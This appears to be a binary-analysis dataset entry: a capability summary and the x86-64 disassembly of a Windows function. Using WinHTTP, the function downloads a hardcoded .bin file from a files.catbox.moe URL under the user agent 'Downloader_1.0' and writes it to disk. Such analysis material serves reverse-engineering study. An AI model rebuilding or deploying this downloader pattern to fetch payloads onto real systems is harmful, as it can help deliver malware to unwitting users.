Function at 0x140001230
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r13
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
xorps xmm0, xmm0
lea r9, [rsp + 0x50]
xor eax, eax
lea rcx, str.https:__files.catbox.moe_vr7mjn.bin
mov qword [rbp - 0x50], rax
mov rdi, rdx
lea rax, [rbp - 0x30]
xor ebx, ebx
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x40], ebx
movups xmmword [rsp + 0x50], xmm0
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x40], ebx
mov r15, r13
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x70], 0x100
mov dword [rbp - 0x60], 0x100
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x1400012f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_crack_URL._Error_code:__lu_n
call fcn.140001010
jmp 0x1400015b2
xor r9d, r9d
mov qword [rsp + 0x510], rsi
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
lea rcx, str.Downloader_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
jne 0x140001333
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_WinHTTP_session._Error_code:__lu_n
call fcn.140001010
jmp 0x1400015aa
movzx r8d, word [rsp + 0x74]
xor r9d, r9d
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
mov qword [rsp + 0x520], r12
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
jne 0x14000137c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_connect._Error_code:__lu_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400015a2
cmp dword [rsp + 0x64], 2
lea rdx, [0x140003498]
mov r8, qword [rbp - 0x68]
mov eax, ebx
mov ecx, 0x800000
mov qword [rsp + 0x528], r14
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x1400013d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_open_request._Error_code:__lu_n
jmp 0x140001565
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140001406
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_send_request._Error_code:__lu_n
jmp 0x140001565
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x140001427
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_receive_response._Error_code:__lu_n
jmp 0x140001565
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x100
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, r13
jne 0x140001470
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_create_file._Error_code:__lu_n
jmp 0x140001565
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001558
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000154a
mov r8d, dword [rsp + 0x40]
xor edx, edx
inc r8d
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, dword [rsp + 0x40]
lea r9, [rbp - 0x40]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000152b
mov r8d, dword [rbp - 0x40]
lea r9, [rbp - 0x3c]
mov rdx, rdi
mov dword [rbp - 0x3c], ebx
mov rcx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000150c
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rsp + 0x40], ebx
ja 0x140001470
mov ebx, 1
jmp 0x14000156c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_write_to_file._Error_code:__lu_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000156c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_read_data._Error_code:__lu_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000156c
lea rcx, str.Failed_to_allocate_memory._n
call fcn.140001010
jmp 0x14000156c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_query_data_available._Error_code:__lu_n
mov edx, eax
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r14, r14
je 0x14000158c
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r14, qword [rsp + 0x528]
cmp r15, r13
je 0x1400015a2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x520]
mov rsi, qword [rsp + 0x510]
mov eax, ebx
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140001e70
add rsp, 0x4e0
pop r15
pop r13
pop rdi
pop rbx
pop rbp
ret